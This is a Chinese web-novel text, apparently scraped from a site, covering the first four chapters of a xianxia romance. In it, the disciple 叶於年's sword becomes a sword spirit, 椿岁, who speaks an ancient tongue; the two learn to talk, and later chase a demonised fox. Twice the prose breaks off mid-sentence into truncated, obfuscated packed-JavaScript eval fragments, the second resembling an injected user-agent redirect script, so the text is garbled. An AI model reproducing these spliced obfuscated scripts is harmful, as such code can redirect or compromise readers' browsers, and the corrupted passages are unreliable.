《我剑呢!!!》 1. 第一眼 小贼 “把你的剑交给我。” 「长鸣剑山」现任掌门步作人手扶额头,一脸头疼地看向阶下大弟子。 见人不答应,他合上眼长叹一声,又威胁道:“两炷香内,你若不将剑送来,我就将它……” “重新锁入剑墟。” 叶於年闻言眼皮骤然上抬。 长鸣剑山素有规矩,无论是否本门弟子,只要能取得「剑令」,皆可踏入剑墟,在诸多名剑中,挑选愿与之共鸣,并最为称心如意的一柄来定下命契。 去年今日,剑墟内里一目寂黑,孤有一剑为他而鸣。 叶於年入门七年,终于在「试剑大会」上,得到属于他的第一柄,也是唯一一柄剑。 而步作人此时讨要的,正是此剑。 如此来之不易,叶於年当然不能任由其被锁回剑墟。 心下闪过许多从长计议的打算,他无可奈何地先答应下一句“弟子遵命”,便脚下生风地转身离开,发丝迎风而动,看得步作人忙补道:“你把自己拾掇好前不许下山,也……” 话没说完,叶於年就已不见人影。 光是在大殿与他住处间来往都得走上一炷香,时间太紧巴,他没法不火急火燎。 房门在“吱呀”声下被推开,日光倾泻入内,把半空中的细小尘埃照得尤为明显。 叶於年站在门前,猝不及防看见他原本整齐干净的屋舍如遭猈[1]祸,柜子抽屉被翻了个底朝天,里头的物件散落在地,乱七八糟成一片。 而最恐怖的是,他原本好好放在玉架上的本命剑不见了踪影,屋内反倒多了个衣冠不整的人。 陌生男人。 那凑出时间把本命剑锁入剑匣才端去大殿的想法轰然倒塌,叶於年惊愕道: “贼?” 「八千岁为春,八千岁为秋[2],春秋过后,成汝之真岁,届时,汝可睁眼一观世间」 椿岁作为剑灵,对世间的第一眼,是间朴素至极的木头房子。 当然,这时的他还既没“朴素”的概念,也不知这用木石圈出的一小方天地名为“房子”。只知眼前大多是由杨、杉、楸、杏、柏等常见凡间软木所制的木头桩子切成方,木头板拼木头棍……自上而下、从左到右都散发着陈旧气,除了原本架着他剑身的玉质玩意,没一处能让他喜欢。 初生的剑灵为此哼哼两声,低头看向自己打着赤条的身体。 只见腰腹及四肢呈半透明的雾感,似有流水包裹玉色骨架,细小的灵丝呈叶脉状,往上左胸的剑心处汇去。 他还没正儿八经见过凡人长什么样,但在剑墟时,曾用散逸的灵识将自家剑主摸了个遍,因此大抵知道,凡人是不会像他现在这样赤身裸/体的,而是会找东西把自己罩起来。 椿岁思索着,开始在这一亩三分地里乱摸。 此处藏了太多他没概念的小玩意,不止是拼成不同形状的木头,还有许多被搅碎又重新铺成片垒作一叠的树皮,以及树皮上那已然干透的松烟黑水……找寻许久,他才翻出了像生灵皮毛一般软能蔽体,且触感和他探向剑主时一样的玩意。 椿岁用鼻尖在其上蹭了蹭,因有先天神通,他立即意识到,这玩意是由“蚕”和“棉”制成的。 翻出来是一回事,怎么往身上罩又是另一回事。 椿岁摆弄了好一阵,都没弄明白前后左右,最后烦了,就开始粗暴地用手脚强行乱穿,好将这蚕棉给“缠绵”到身上,把自个肋骨以下的透明部位给遮住了。 捣腾完,回头一看,四下已成“废墟”,并有一人闯入。 椿岁不懂分辨长相好坏,只会遵从本心揪出“喜欢”的字眼,来对这人进行评价。 眼前人皮肤的颜色比他的深,瞳仁在日光下呈现出过于清浅的蓝,在这满目土兮兮里,恍若夜里孤星。 从被带出剑墟那一刻起,椿岁就与其主定下命契,成就彼此间独一无二的呼应,故而光是一眼,他就明晰,此人是他的剑主。 但又有哪里不太对。 剑主的头发深黑,以发缝为界,左右两侧泾渭分明、各成一派。 左边长发错落及腰,如瀑散落;右边齐整地戛然而止于下巴,活像被利刃拦腰斩断的半颗蘑菇。整体看犹如一道天坎浓缩此间,一步登天又一步落地。 椿岁见状,反手摸了摸自己的发尾。 他明明记得,他在剑墟摸剑主时,剑主的头发几乎全都长到能及腰臀,而不是像现在这样断了一半。 愣神间,他听见剑主说出又清又长的双音[3]:“呲?” 椿岁歪了下脑袋,没明白剑主的意思,于是只愣愣地盯着人看。 与之相对的,他的剑主却不太敢正眼看他。 叶於年说完才发觉,不止是剑,这贼还偷了他去年在试剑大会上穿的衣裳。 样式和他平日穿的不太一样,比较繁复。分明叶於年自个穿着很是端正,可被这贼东一块西一块,前后不分,袖子打着旋地乱穿一气,硬是穿出了浪荡来。 白花花的胸膛没礼义廉耻可言地大敞着,瞬间烫了他的眼,让他的视线不知该如何安放,唯有匆匆挪到乱七八糟的地上。 叶於年尽量稳住气息,问:“你是何人?为何在此?” 这贼压根不配合他的问话,并且不明所以地眨了下眼:“咩?” 咩什么? 屋子被弄得一团乱,被偷了衣裳,更重要的是,本命剑不翼而飞,佛来了也得生三把火。 叶於年语气不善道:“少装傻。” “我剑呢?” 贼还是不回话,反倒三两步上前,一把擒住叶於年的手,就往自己心口放。 叶於年没来得及挣脱,猝不及防间,小麦色的手已经盖在那莹白的胸肌上,映出十分惹眼的色差。 这是……做什么? 过分冰凉的灵质触感有别于常人,令叶於年一慌,下意识屈指,清晰地感觉掌心下的皮肉跳了一下。 然而,即便被如此轻薄,贼不仅没撤开,反倒好奇低头,又往前逼近了几分。 叶於年霎时从失神中惊醒。他慌忙往后退开,却忘了自己的手还被抓着,也没料到这贼居然跟没骨头似的,被他轻轻一带,整个人就跟着踉跄向前,甚至还顺势将另一条胳膊往上抬,最后落定在他肩上。 耳边传来一声笑,像小孩恶作剧得逞时会有的动静。 这会儿并非区区一个掌心了,叶於年整个人都依偎进了贼怀里。 叶於年全身一激灵,刚想挣脱开来,却又倏忽意识到了什么,自个重新贴了上去。被握着的手还扣上了对方的锁骨,左耳紧贴着对方心口。 这贼不仅通体冰凉,还没有心跳。 难不成是妖?可妖按理说也该有心跳的。 叶於年一抬头,脸上没太多表情,唯独双眼不住睁了睁。 从进门到现在,他才真真看清了贼的面容。发色与瞳色不似常人,皆呈水色。虽比他高,五官却不硬朗,反倒明艳惑人。 眸若春光花羞颜,一抹唇红最动怜。叶於年头一次见这般好看的人,好看到他蓄在喉咙里的重话全飞,只吐出混乱又干巴的一句:“你再美,也不能拿我剑的。” 同时心想,果然是妖吧,一般妖才能好看到这份上。 叶於年又问了一声:“我剑呢?” “剑还我,别的我可以不计较。” 想了想,他又商量道:“衣服也可送你,但剑无论如何都得还我。” 贼听着叶於年的话,脸上笑意褪去,眸色透露出一点迷茫,又在眉头紧锁间,显现出几分怒意,仰头垂眼,诘责道:“哇咕旦将安关塞欸送昂明因。” “意咕哇咕当当连安拥,意咕咩呀卜啦息息哇咕啦?” 嗓音似石上清泉,咬字却温软得能酥人骨。 然而,叶於年半个字都没听懂。 不对,也不能说完全听不懂。 其中“将安”这个音,叶於年在记述与符咒相关的古籍中见过,不是胡语妖言,而是上古遗音中“剑”的意思。 叶於年又想起,自己曾遇到过一对双生子,头戴着傩面驱邪时,口中念诵的古传经文也是类似的遗音。 虽皆为汉话,但历经千万年轮转,今音和古音早已改头换面。所以说,这贼并不是在有意装傻, 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他跳下树,问:“那人谁呀,衣服不好好穿在我们主峰乱走。” “嘶——衣冠不整,我知道了!大师兄练剑练到走火入魔,□□焚身要强抢民……”三师妹毫无负担地将话本内容张冠李戴,同时因着总算看清叶於年身后那人背影,见其穿着豪放不羁,身量高大,难掩惊愕地吐出最后一个字,“男?” 这时又有两人从这错身而过。 “大师兄喜欢男的?那岂不是……”长鸣剑山这一辈长相最为如花似玉的六师弟,自作多情地发出哀号。 “没事,我刚看见正脸了,那人比六师兄你好看。”六师弟身边的七师弟笑眯眯地“安慰”道。 六师弟非但不恼,反而立即饶有兴趣地问:“真的?” “真的,”七师弟道,“不知大师兄是在哪抢的,感觉好特别,不太像这的人呀。” “你们聚一块瞎聊啥呢?大师兄能抢谁?他不被别人抢了去已经算好了。”从另一边过来,准备往武场去的八师妹不解。 “现在才未时,大师兄要白日宣淫?”四师弟揉了下惺忪睡眼,胡言乱语道。 被迫参与的五师弟弱弱补充道:“可大师兄是往师尊那去的。” 来串门的别峰弟子闻言皱眉:“叶大师兄青天白日的是想当众宣淫?这不得把掌门师伯气死?” 同行的另一人忧郁地叹气:“叶於年疯了吧,居然带着外人弑师。” 说话时声音有点大,路过此处的二师弟停下脚步,问:“你说的是真的?” 那人信誓旦旦:“保真!” …… 椿岁被拉着在山林间疾走,始终没弄清楚状况。 头一回面见剑主,剑主只知道对他叽里咕噜地说一通听不懂的话,眼里尽是疑问、戒备,及敌意。 哪怕他拉着剑主的手,让剑主触碰他的剑体,又是自我介绍,又是质问,剑主依旧认不得他。 这没道理。既已结契,他们命脉相连,哪怕把眼睛遮住,光凭嗅应该也能分辨出彼此的气息,怎会认不出呢?该不会是命契出问题了吧,这怎么能行。 椿岁既困惑,又气得不行,偏偏还同时感觉被剑主触碰很舒服。 于是用鼻息哼了一声,完全不尝试挣脱,只不自在地左右张望,而后就发现他们后边乌泱泱地尾随了十来个窃窃私语、鬼鬼祟祟还以为没被发现的人。 咩? 椿岁抬腕反手握住剑主,想提醒一二,又生气不想说话,犹豫间,渐渐开始感觉脑袋发晕。 剑灵头一次尝试化形,着实不稳定,持续没多久,就感到困乏了。 乏了就要睡,椿岁没任何区分场合的意识,合眼往前倒去,与此同时,一道黑影从他们身旁闪过。 抢先来到大殿的二师弟一个滑铲,单膝跪在步作人跟前,铿锵有力地告状:“师尊!叶於年带外人进山,想弑师叛门!” 一口茶被吓喷出来的步作人:? 用一堆衣物裹着一柄长剑,姗姗来迟的叶於年:? 2. 第二眼 裂痕 大殿有内外两道门,中间夹着条宽敞的暗廊,不仅朱门半掩,内里还悬挂多层纱幔,又陈列数面铜镜,正巧能隔开步作人和后面众人的视线。 所以,除叶於年外,没人瞧见那活人大变长剑的精彩瞬间。 二师弟告完状一气呵成地转身,高抬下巴,手往后挪,发难道:“师尊!我护你!” 语罢,他试图从背后竖着向上拔出木剑,结果因手臂太短剑太长而未能成功,反倒把自己手扭了一下。 二师弟尴尬得动作一顿,趾高气扬的神色尽数垮掉,流露出几分无助,连忙别手别脚地解开缠带做的剑鞘,才将木剑拿稳在手上。 等剑锋对向前时,二师弟才慢了大半拍地发现,叶於年身边的人不见了,心下一慌张,质问道:“那人呢?” 叶於年没理他,垂着眼抱剑愣神。 人呢?他也想知道。 他刚才就应该意识到的。他房内有师尊特地为他布下的禁制,只要禁制未损,便只有他们师徒二人能自由进出。 看师尊的悠闲样,禁制不像被惊动过,所以那“贼”要不就是凭空出现,要不就并非活人,又或者……两者皆是。 叶於年眼睫轻颤,抬手抚过剑从,上面铭刻着并不显眼的二字。 字形怪异,相较当今文字,笔画更为复杂圆润,更像一幅画。他一开始不知其所刻何意,翻找大量与符咒相关的古籍,才从上古神书中对照出其意为: 「椿岁」 叶於年的心律快了几分,一时思绪万千,脸上却泰山崩于前而色不变,麋鹿兴于左而目不瞬[1],殿内的剑拔弩张,更是仿佛和他毫无关系。 尾随而来的师弟妹们见状也不明所以地跟着一块抽出木剑,可剑尖所对的方向各有不同。 大部分都同仇敌忾地锋芒直指叶於年。但衣袖里藏着话本的三师妹倒是对向了纯粹是在招是搬非的二师弟。 还有一脸瞌睡的四师弟,和脖上缠蛇的七师弟,一个剑朝地,一个剑朝天,俨然一副不愿牵扯进恩怨的样。 最了不得的,当数九师弟,他连木剑都没带,抽出嘴里的糖葫芦签子,稀里糊涂地指向座上的师尊。 步作人见此眼眉一抽,缓道:“又在闹什么?哪来外人?” “刚刚还在的!就穿叶於年手里那身衣裳!怎么一转眼就不见了,难不成是使了见不得人的术法?”二师弟道。 “瞎说什么?於年他能用术法吗?”步作人不为所动。 步作人心里门清,自己这二弟子向来看大弟子不顺眼,八年间没少单方面生事,借口总是五花八门、莫名其妙,近些年还愈演愈烈地抓着些没影的事,就弄出要将叶於年赶出长鸣剑山的阵仗来,一点都不像话。 再者,他近几日本就为鳞族妖祸一事心烦,现在根本没心思陪着演大戏,见二弟子还想争辩,他不耐道:“就算是你口中那外人使的,当着我面,我能看不出?山门自有结界,真要如你所言,有外人来犯,我和诸峰长老还能全无察觉?” “好了,都把家伙收起来!擂台下,剑锋不对同门,规矩都忘狗肚子里了不成?” 步作人沉声道,然而定神一瞧,没几个人理他。 徒弟们还在对账说那人长得如何如何,聊得热火朝天。唯有九师弟听得一头懵,问:“什么人?不是说打铁花吗?” 话音刚落,九师弟身旁的侍从就踮脚捂住了他的嘴:“别想铁花了,等下逼得掌门把你八师叔召来,兄长你就只有屁股开花的份!” 一语成谶,步作人从袖内摸出传音符,调转灵力在其上一划,另一道声音在殿内响起: “何事?” 说话的正是他们八师叔。 步作人告状的样子和他二徒弟很像,掐着嗓起手就是一句:“那群逆徒又欺负我,快把我屋给拆了!” 连添油加醋的样子都一样。 传音符对面的八师叔沉默片刻,问:“具体谁?” 相比起师尊,八师叔明显有震慑力多了,此话一出,众人纷纷鸣金收兵,左顾右盼地假装无事发生,将“欺软怕硬”四个字演绎得淋漓尽致。 步作人嘿嘿一笑:“现在没谁了。” 顿了顿,又多问道:“近日可有外人进出山门?” “年关将至,少不了出入,但外人不见得。” 八师叔说话定不带假。言之凿凿的众人大眼瞪小眼,甚至开始怀疑是不是自己看岔了眼,又觉得自己的眼神不至于差成这样。 或许根本就不是外人,大师兄是偷偷和山内某人好上了,不想被知道,所以牵着手走了一段,那人就躲起来了。三师妹心想。 长鸣剑山内外门,和其他久居在此的散修加起来有数百人,有他们不认识的也不奇怪。 又听八师叔道:“今日倒只有阳秋出去了一趟,我还当他是要回都,结果他买了两串糖葫芦就又折回来了。” 九师弟大名池阳秋,他浑身一抖,解释道:“是打算回,可出了山门才想起落了东西。” “什么东西?”步作人问。 “无……无双。” 池阳秋今年刚满十岁,去年初入剑墟,便有上百名剑争相为他鸣动。位列剑谱天字第六的「无双」,就是他在其中选中的本命剑。 然而,许是因这剑来之太易,他总不懂珍惜,总忘之脑后。 与之相反的,他大师兄叶於年自得椿岁,无论起居坐卧,皆剑不离身,待之如珍似宝,俨然一副打算余生与剑双宿双栖的做派。换成是他,把自己落了都不会落下剑。 所以单论态度,叶於年比池阳秋更适合习剑。 可天公不作美,池阳秋入门不过两年,就能运用自如长鸣剑山的大半剑法,是生来就天赋异禀的骄子。而叶於年入门八年,却连半式都没学会,不过是苦学无成的一介草包。 八师叔默了片刻,道:“罢了,回去替我向令尊问好。” 九师弟听此便带着侍从率先离开,其他人也陆续悄咪咪退下,独留叶於年一人,默不作声地半低着头,一副逆来顺受样。 步作人把传音符收起,叹声道:“於年,你二师弟就是小孩心性,别跟他计较太多。” 叶於年微怔,他回过身,原本也没多放在心上的事,经步作人一劝,他就很想提醒说,那位被称作“小孩心性”的二师弟,其实还比他年长半岁。可转念又顿觉无趣,于是只敷衍地“哦”了一声。 “剑给我吧。”步作人逗猫似的招手道。 叶於年不为所动,问:“可否请师尊惠许,容椿岁继续伴弟子左右?” 他手肘往里收,把剑抱紧,面无表情道:“弟子习惯与椿岁共起居,若无他傍身,会白日心神难安,夜里孤枕难眠。” 这话他其实已经和步作人说过一遍了。 之前不起作用的话,现在照样没用。步作人命令道:“莫再多言,拿上来。” 叶於年还要多言:“师祖曾云,修剑者剑当常随其身,为何非要以没收佩剑来作为惩处?弟子触犯禁令,愿领其他更重的惩罚。” “暂管而已,等你知错,需要用上时自会还你。”步作人没好气道。 叶於年即答:“弟子已知错,现也正是需要时。” “你要它做什么?” 叶於年:“睡觉。” 步作人额头青筋直跳:“你真以为我不会将它送回剑墟?” “师尊先前已用此来胁迫弟子将椿岁带来。一事二胁,实非君子所为。” 叶於年顿了顿,又道:“若师尊执意代管,还请准许弟子侍奉师尊左右,直至惩戒结束。” 步作人头疼得不行,再懒得多言,手向上一摆,剑连同那堆衣裳一块悬到他跟前。 单论外形,椿岁是柄被锻造得极美的剑。 且美得别具一格,剑柄与剑身浑然一体,非金非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不扫还好,一扫可把步作人给气笑了。 这柄废剑现今的灵气居然比它刚出剑墟时还要弱! 不仅如此,这家伙还跟碰瓷似的,“喀嚓”又裂了一道痕。 步作人一愣,叶於年连忙抱着剑往后退,冷声道:“椿岁宁为玉碎不为瓦全,还请师尊勿要强迫他。” 这话听着简直像在谴责人逼良为娼。 步作人一口气提不上来,实在不想被这剑的窝囊表现给逼就犯,但又无可奈何。再怎么说也是徒弟的爱剑,他不能真将其弄得四分五裂。尤其对上的还是大徒弟这种爱剑如命的。 步作人疲倦地摆手道,“罢了,你回去吧。犯禁一事,自行去领别的罚。” 叶於年松了一口气,应下话,转身离开时,又听步作人补充道:“此剑日后若再显怪异,要第一时间告知为师。” 他默声未应,刚出大殿就紧张兮兮地检查起了椿岁的剑面。 发现原本被步作人触裂的地方光洁如新,找不出半点断裂的痕迹。 “演的?”叶於年嘀咕道。 他尝试轻敲了一下椿岁的剑身,而后就感觉神识内传入一声闷哼,像是有人睡梦时被惊扰会发出的声响。 叶於年头一回听见识海传音,呆立在原地,眨了眨眼,没忍住又敲了一下。 于是就听见椿岁用他那好听的嗓音,骂骂咧咧地吐出一句不明所以的:“咕咧苏咯,果哦啦!” 有意思。叶於年心想。 “叶於年,你连最基本的剑招都使不出来,就别天天装模作样抱剑显摆了,丢脸。”另一道声音从外部交叠着响起。 “喂!你跟师尊说了啥?还有那人究竟被你藏到哪了?” 叶於年听到声才发现,二师弟蹲在外面守他。 他没心思搭理这货,凉飕飕地嘀咕一句“怎有犬吠”,就留下不敢在师尊殿前造次的二师弟在原地气得冒火,兀自回到住处。 叶於年小心将椿岁重新放到玉剑架上,又仔细端详了一番,还是没见缺口裂痕。 许多疑问悬在心口,他想了想,先是说了声:“抱歉。” 而后哪怕心知徒劳,但还是忍不住对其低声问道:“你还会再来的,对吗?” 3. 第三眼 太平 自然是会回来的,只是稍微晚上了些许。 两日后的晌午,叶於年昏沉醒来,睁眼就对上了一双距离他不过两寸的水色眼眸。 椿岁初次化形不熟练,神识一散,变回了剑身。在剑主怀里听一群人呱唧呱唧个没完,没多久就听困了。抵不过睡意小憩了一会儿,醒来就发现自己回到了木石天地。 剑主这次睁眼就在身边,还紧紧圈住他腰。 不是认不出我嘛?哼。 睡了一觉,椿岁还是感觉生气。可又觉得被抱着舒服,一时不想动,百无聊赖间,就开始观察起他的剑主来。 和他的化形一样,有两只眼睛一张嘴巴,一边脸颊多了个快消掉的圆戳印,嘴角压得很平,不像他那样会稍稍上翘……在他数出剑主一共有四百八十六根眼睫毛后,剑主终于醒了。 除睁眼外,剑主一开始没其他反应,光盯着他看了许久,眼珠子才剧烈震动了一下,说: “你……回……来……了……椿岁。” 没走过呀,一直在这呢。 不对,虽然蹩脚,但剑主居然讲人话了! 椿岁震惊。 而后又眼睛一亮,噼里啪啦说了一通话,主旨都是控诉剑主认不出他这一罪行。 叶於年安静听着,莫说反应,连表情都没多变一下。 椿岁不知,为了这句蹩脚话,叶於年连续两日废寝忘食,把先前为破译剑上刻字所寻的古籍重新翻出,做了许多功课。 纵使他并非近日才开始钻研,可无论是上古遗音的发音本身,还是宛若图画的神书,对于今人而言都太过于晦涩难懂了。 尤其现今留存下来的神书,皆是用作符咒刻纹,并非言语,文腔雅调居多,没多少日常用语,注音对字麻烦得很。短短两日,单是想把古今对照的词典全部编译都是不现实的,他目前也仅标注了近四百个字词。 椿岁说得又快又急,嘴巴张合个没完,叶於年听不懂,只晃神感叹,面前这张脸着实好看得仿若妖孽,让人不忍挪开视线。 少顷,叶於年匆忙起身,飞快跳下床,抄起桌上堆放的册子,赶在椿岁说话的间隙,对照着册子磕绊地吐出一句:“还欸,阿儿(慢言)。” 说完他抬头,目光正好落在跟着坐起来的椿岁身上。 那些异于常人的部位此刻全无遮挡,腰腹和四肢的骨骼在一片水色中若隐若现,乍一眼会让他感到惊异,可细想又觉合该如此。 毕竟椿岁确实不是人,而是……他的剑灵。 是真的有剑灵。 同门亲眼印证过的,并非他的臆想。 叶於年盯着椿岁看了好一阵,直到看到某处,才忽然反应过来不对,急忙抬手将被子盖剑灵身上。 “咩?”猝不及防被挡了一脸,椿岁挣扎着拨开,刚露出眼睛,叶於年就已经拿着先前的蚕棉,在他身上摆弄的同时,一步步给他演示正确的穿法。 然而叶於年偏好穿戴得简洁干练,衣裳都没啥放量可言,强行给椿岁正常穿,衣襟根本合不拢,袖子裤口都短了一截,裤头还有点卡,紧巴得还没椿岁自个摸索出来的乱七八糟罩法来得体面。 欣赏了片刻自己的杰作,叶於年镇定地一字一顿问道:“倘,送昂,将安,意啦(可化剑否)?” 椿岁指向自己,声音发冷,挑眉道:“卜啦苏呜苏?” 叶於年呆了一会儿,反应过来剑灵是在问他是不是不喜欢自己,连忙回答“苏呜苏(喜欢)”,随后又艰难地对照说:“送哦,千,配欸‘衣’(须先置衣)。” 椿岁:“咩?” 见剑灵不懂,叶於年扯了扯自己的衣领,用今音再次复述:“衣。” 想了想,又握起自己腰间的蹀躞[1]和净玉,充当起叶小夫子,为剑灵介绍:“饰。” 很多人间词汇叶於年没能找到遗音的对照,只能夹着一半今音,比划着让剑灵领会其意,并引导其尝试鹦鹉学舌般跟念。 椿岁眯起眼,很快就明白过来,剑主是想教会他说那些又短又急的鸟语。 虽然多少有点瞧不上,但他烦死了,不喜欢慢慢说话,又很想和剑主交流。 于是椿岁高傲地抬起下巴,乖乖地学着说:“衣,饰。” 言毕,椿岁垂眸瞥向自己腰间,明明是串在一起教的,剑主却单说要给他“衣”,而没说给那更招他喜欢的“饰”。 他也想挂玉。 椿岁想了想,爪子不安分地摸向剑主腰间,尽显小贼风范,却被剑主给挡了下来。 “须‘买’之。” 椿岁手停在半路:“咩?” 叶於年从腰间的兽皮饰里摸出一块东西,放到椿岁手里,教导说:“钱。” 椿岁掂了掂手里被切成小块的东西,念说:“白银。” 他只对人造之物比较懵懂,这类天地造物他碰一下就知道是什么。 叶於年低头翻了好几翻手里的木糊片,点了点头,又将腰间的净玉解下,将其与白银掉了个位置,说出一句熟悉词里夹杂着陌生字的话:“银,换,他,者,为‘买’。反,之‘卖’。‘买卖’之,地,为‘市’。” 剑主说得又轻又缓,半合着眼,眼睫投下一片阴影,让他眸子看起来深色了许多,没先前那般清透,显得沉静、温和又认真。 同时还有隐晦的蛊惑,椿岁不由想看这双眼因高兴事而明亮起来,也想这双眼能多与他正对,供他端详。 既然想,就要做。椿岁凑上前,用指腹托住剑主下巴,将剑主的脸摆正向他这边。 叶於年:“嗯?” 椿岁干这事没正当理由,但他一点都不心虚,用掌心的接触来贪婪享受属于剑主的温热,嘴角上扬的弧度不自觉加深,瞧准剑主打算甩开他时刻,状若配合地学舌起来。 而后又趁热打铁地指着剑主手上的木糊片“咩”了一声。 剑主一说话就要拿来看,都比看他还频繁了。椿岁指腹按了按剑主的脸颊肉,好平衡自己心里不讲理的不满。 叶於年先是一愣,果真忘了挣脱,将木浆片递过来,引着椿岁的手摸向那木浆片,说:“纸。” 椿岁往剑主那凑了凑,才肯把手撒开。视线落在那“纸”上,发现上头绘有被拆分开来的字,每一个字旁边,还有他看不懂简略呈方块状的画。 “可,对,照。”叶於年说。 椿岁了悟,方块画是剑主他们现今用的字,上边还有注音的符,逐字对照着去读,他基本两遍就能记住,就是不太能对得上具体物件。 “‘镜’是?”椿岁问。 叶於年翻出一块磨得光亮的铜片,竖到他面前。铜片瞧着和池水一样,可以将对面的容貌和神态复刻。不仅如此,手触过去,也同样会将他阻隔在外,不再包容与温养他。 椿岁一时怅然,迷茫地眨了眨眼,而后余光一瞥,见剑主兀自翻出一把双头交叉的单刃铁器往脖子上抹。 怎么忽然刺自己命门了?椿岁气急败坏地伸手想阻,结果剑主适时低头让他扑了空,手指径直穿入剑主的半侧长发,又顺滑地一路溜到了发梢,他才堪堪握住了发尾。 呀,也好摸。 椿岁意识溃散半刻,又猛然惊醒,着急忙慌地将目光挪回剑主那,发现剑主不过是在把自己较长的那侧头发裁下来。 这两日叶於年不仅要收拾被剑灵弄乱的屋子,且清晨就得去领罚搬花泥,搬完回来也不歇息,有空余就耗到神书的研究上,连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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剑灵略带不解地反驳道:“哇咕倪以涅萨嘚(我没怕)。” 叶於年也不争,应和道:“嗯。” 最后,他们站定在一间大门紧闭的房子前。 “失策。”叶於年道。 门正中贴了张红纸,上面写了字,文盲剑灵结合方才所学,率先自信读道:“人,木刀九十长。” “除夕休业,初九开张。”叶於年纠正道。 又兀自嘀咕:“过年了,布庄不开门。” 来时叶於年有教过剑灵自己名字的读法,于是剑灵挑了听懂的来问:“‘过’你?” 叶於年点头摸出册子,依循着记忆翻开他先前才古籍上摘录下来的有关“岁咒”的神书,里头恰好有简单描述凡人的“年”为何物。 「……观天悉时,斗转星移,冬往春来,周而复始,为地岁,又称年」 椿岁只看了个大概懂,求证道:“‘过年’是新岁替旧时?” “是,”叶於年缓慢道,“须,庆,之。” 毕竟是凡人苦三百余日,偷一时欢闲的日子。他心想。 “今日新岁?”椿岁又问。 “明,”叶於年应道,“‘明日’为‘太平’百‘年’。” “‘太平’?” 椿岁话音未落,四周骤然响起尖叫声:“杀,杀人了!” 叶於年立即转身后望,只见河心画舫上,一位锦衣中年男子仍保持着举杯的姿势,可半个脑袋却已不翼而飞。 男人身后还有一位饥瘦矮小,看着不过十四五岁的少年,携着满身血腥,几个起落便已跃至对岸屋檐。 4. 第四眼 球球 叶於年未作多想,反手将椿岁收入背后的剑鞘,不带迟疑地拔出腰刀,足尖一点,人如离弦之箭,飞快追了上去。 没一会儿,剑灵的声音闷闷不乐地在他识海深处响起。 “它是魔。” 椿岁幽幽道。 “唔……是只坏掉的小狐狸。” 叶於年闻言脚步未停,却默默将腰刀收起,并摸出一张传音符。 和师尊所用不同,他手上的是无须调用灵力的小通符令。 世间符法分两种:一是「大通符法」,以修者自身的修为作基,变化万千,有诸多妙用;二是「小通符令」,仅能承载简单的咒令,制作起来费时费力繁琐,还特别容易损毁,但因运行快速隐秘,无需灵力为佐,连凡人都可用之,所以颇受叶於年青睐。 “有狐狸入魔当众杀人,我在追,”叶於年快速道,“等下会将它引到火圣堂。” 传音符上传出了他七师弟的声音:“魔?厉害吗?” “不知,”叶於年道,“但不管厉不厉害,我都打不过。” 话是这么说,叶於年还是凭着过人的身法对那少年穷追不舍。 叶於年身形看上去没多健硕,手腕甚至还属男子中偏细的,可他却能单手握在亭梁上,仅凭一臂将自己稳稳挂住。 而在他前方约莫三尺远的地方,满身血污的少年堪堪刹住脚步。 眼见前路被挡,它四肢如兽类般落地,后腿发力一蹬,转眼就跃上屋檐,往另外的方向逃去。 叶於年并未着急去追,手上青筋因发力凸现,身体往后一撑,后空翻跳上亭盖。 永古上镇比邻长鸣剑山,叶於年对这四通八达的道路烂熟于心,对哪个拐角能通向哪处了如指掌。只要确定好对方逃跑的大致路线,抄近路围堵对他来说是再简单不过的事。 未几,叶於年翻上一条死胡同的墙面,眺向正想拐入的少年。 少年面色一狞,鼓气想往前扑来,见叶於年起身一副要来逮它的派势,它即刻又瑟缩了回去,双腿一蹬再度改换了逃窜的方向。 狐狸天性胆小,既一开始打算逃,且发现被追时也没主动攻击,那只要把握好度,逼得不太近,也不太远,给它营造出主动权在自身的错觉,完全可按心意将它赶到该去的地方。 来回堵了四五回,少年果然被叶於年逼到郊外火圣堂附近。 叶於年从小路先一步抵达,就听见椿岁冒出一句:“要进去?” “是,”叶於年解释道,“人,少。” 他想起自己少时曾受过别的神祠庇护,思及这类场所大多能震慑邪祟,又补道:“求,神,护。” 长鸣剑山最临近山门的山峰,为「诸神峰」,其上立有难计其数的神像,还有人为此特地编撰了专门的神说,记述这些天神的故事,其中就有关于「火圣」的。 传闻火圣乃古时澧地巫祝飞升所化,能予以信众财运。 然火生之财与水不同,性烈且招妒,尤其在晦暗处,火财醒目,易引邪祟觊觎。因此又有传言,火圣以心头血化出面容恐怖的灵仆“脂奴”,在夜里现身驱赶滞留附近的凡人,以防他们不慎触犯禁忌。 再加上永古上镇的火圣堂翻修不足百年,火圣本身又没多大名气,且地处偏僻,一到夜里,这地方就见不太着人了。 然而椿岁对此相当排斥,高声令道:“不许进!” 命令完嘴巴不见停,椿岁念叨起又快又长的一段话,应当是在讲说为何不让他进去,叶於年没听懂,可这也不妨碍他快速答应下来。 叶於年本就不真指望能有神明显灵相助。对他来说,将少年引至约定好的地方拖住便算功成,堂内堂外无所谓。 说话间,叶於年发现夜里本该门庭冷清的火圣堂外站着一高一矮两人。 “放开我!”较矮那人是位不断挣扎着想脱身的姑娘。而姑娘对面是个壮汉,动作不干不净,狞笑道:“……你那情郎早攀高枝去了,特地把你骗来送我,你就……啊!嗷!” 叶於年从屋檐跳落,脚尖稳稳踩在壮汉手腕上,全身重量往下压,逼得壮汉撒了手,而后飞速一个回踢,直冲朝壮汉的脸去,干脆利落地把人给踹飞进火圣堂里头,并以此借力,轻巧地跳上樟树。 动作行云流水,一气呵成,跟踹人只是顺便,这本就是他预计好的路线似的。 完事后,叶於年听见剑灵疑惑地“咩”了声。他兀自蹲下,用手拍了拍树身,回答:“是,坏,人。” “坏……人?” 那人明明魂体都没坏呀,还是说这是凡人的品种?椿岁不太能理解。 见那姑娘惊魂未定地站在树下抬头看自己,叶於年从小包摸出一张叠得四四方方的符扔到对方手里,说:“此处危险,还请快些离开。” 语罢,目光就已转向火圣堂对向的小道。 少年确实对火圣堂有所忌惮,刚稳住身形看清环境,便又要夺路而逃。 